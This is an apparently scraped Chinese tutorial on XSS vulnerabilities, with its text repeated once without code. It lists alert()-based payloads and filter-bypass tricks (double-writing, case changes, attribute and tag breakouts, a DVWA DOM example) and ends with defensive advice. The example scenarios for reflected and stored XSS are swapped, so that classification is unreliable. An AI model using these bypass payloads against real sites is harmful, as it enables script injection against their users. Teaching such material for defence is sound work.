Web安全 | XSS跨站脚本攻击漏洞
字数 1027 2025-08-19 12:42:11

XSS跨站脚本攻击漏洞详解

一、XSS基本概念

XSS(Cross Site Scripting,跨站脚本攻击)是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页时,嵌入其中的Script代码会被执行,从而达到恶意攻击用户的目的。

关键特征:

  • 通过PHP的输出函数将Javascript代码输出到HTML页面中
  • 在用户本地浏览器执行
  • 漏洞关键点:寻找参数未过滤的输出函数

常见PHP输出函数:

echo, printf, print, print_r, sprintf, die, var_dump, var_export

二、XSS分类

1. 反射型XSS

  • 特点:不持久化,仅对当前访问有效
  • 常见场景:留言板、用户发帖、用户回帖
  • 数据流:经过后端但不过数据库

2. 存储型XSS

  • 特点:持久化,存储在服务器上
  • 常见场景:URL、搜索框、GET/POST参数
  • 数据流:经过后端同时经过数据库

3. DOM型XSS

  • 特点:基于DOM文档对象模型
  • 关键特征:不与后台服务器产生数据交互
  • 形成方式:通过前端的DOM节点形成的漏洞

三、XSS Payload构造与绕过技术

1. 反射型XSS Payload示例

  • 常规Payload:
<script>alert(1)</script>
  • 双写绕过:
<sc<script>alert(1)</script>
  • 大小写绕过(随机选择改写):
<Script>alert(1)</script>
  • ``绕过(过滤掉了<>script):

2. 存储型XSS实战技巧

  • 当输入框长度受限时:
    1. 打开开发者工具(F12)
    2. 定位到输入框元素
    3. 修改maxlength属性值
    4. 输入更长的恶意代码

3. DOM型XSS绕过示例

以DVWA靶场Medium级别为例:

  • 原始URL参数:default=English
  • 尝试替换为JS语句但被过滤
  • 查看源代码发现过滤逻辑:
if (stripos ($default, "<script") !== false) {
    header ("location: ?default=English");
    exit;
}
  • 有效Payload:
></option></select>

四、针对各种过滤的绕过方法总结

1. 未过滤任何参数

<script>alert()</script>

2. Payload被引号包裹

例如:

<input name=keyword value="<script>alert()</script>">
  • 闭合标签和字符串
"><script>alert()</script>"
  • 添加属性和方法
" onclick=alert() type="text"

3. Payload被更改(如script→scr_ipt)

  • 使用a标签绕过:
"><a href=javascript:alert()>点击</a>

4. Payload被更改但不要求大小写

Onclick=alert() type="text"

5. Payload关键字被清除

  • 双写绕过技术:
<scrscriptipt>alert()</sscriptcript>

五、防御建议

  1. 对所有用户输入进行严格的过滤和转义
  2. 使用Content Security Policy (CSP)
  3. 对输出到HTML的内容进行HTML编码
  4. 对输出到JavaScript的内容进行JavaScript编码
  5. 对输出到URL的内容进行URL编码
  6. 使用HttpOnly标志限制Cookie访问

通过理解这些XSS攻击技术和防御方法,开发者可以更好地保护Web应用免受跨站脚本攻击的威胁。

XSS跨站脚本攻击漏洞详解 一、XSS基本概念 XSS(Cross Site Scripting,跨站脚本攻击)是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页时,嵌入其中的Script代码会被执行,从而达到恶意攻击用户的目的。 关键特征: 通过PHP的输出函数将Javascript代码输出到HTML页面中 在用户本地浏览器执行 漏洞关键点:寻找参数未过滤的输出函数 常见PHP输出函数: 二、XSS分类 1. 反射型XSS 特点:不持久化,仅对当前访问有效 常见场景:留言板、用户发帖、用户回帖 数据流:经过后端但不过数据库 2. 存储型XSS 特点:持久化,存储在服务器上 常见场景:URL、搜索框、GET/POST参数 数据流:经过后端同时经过数据库 3. DOM型XSS 特点:基于DOM文档对象模型 关键特征:不与后台服务器产生数据交互 形成方式:通过前端的DOM节点形成的漏洞 三、XSS Payload构造与绕过技术 1. 反射型XSS Payload示例 常规Payload: 双写绕过: 大小写绕过(随机选择改写): ``绕过(过滤掉了 <> 和 script ): 2. 存储型XSS实战技巧 当输入框长度受限时: 打开开发者工具(F12) 定位到输入框元素 修改 maxlength 属性值 输入更长的恶意代码 3. DOM型XSS绕过示例 以DVWA靶场Medium级别为例: 原始URL参数: default=English 尝试替换为JS语句但被过滤 查看源代码发现过滤逻辑: 有效Payload: 四、针对各种过滤的绕过方法总结 1. 未过滤任何参数 2. Payload被引号包裹 例如: 闭合标签和字符串 : 添加属性和方法 : 3. Payload被更改(如script→scr_ ipt) 使用a标签绕过: 4. Payload被更改但不要求大小写 5. Payload关键字被清除 双写绕过技术: 五、防御建议 对所有用户输入进行严格的过滤和转义 使用Content Security Policy (CSP) 对输出到HTML的内容进行HTML编码 对输出到JavaScript的内容进行JavaScript编码 对输出到URL的内容进行URL编码 使用HttpOnly标志限制Cookie访问 通过理解这些XSS攻击技术和防御方法,开发者可以更好地保护Web应用免受跨站脚本攻击的威胁。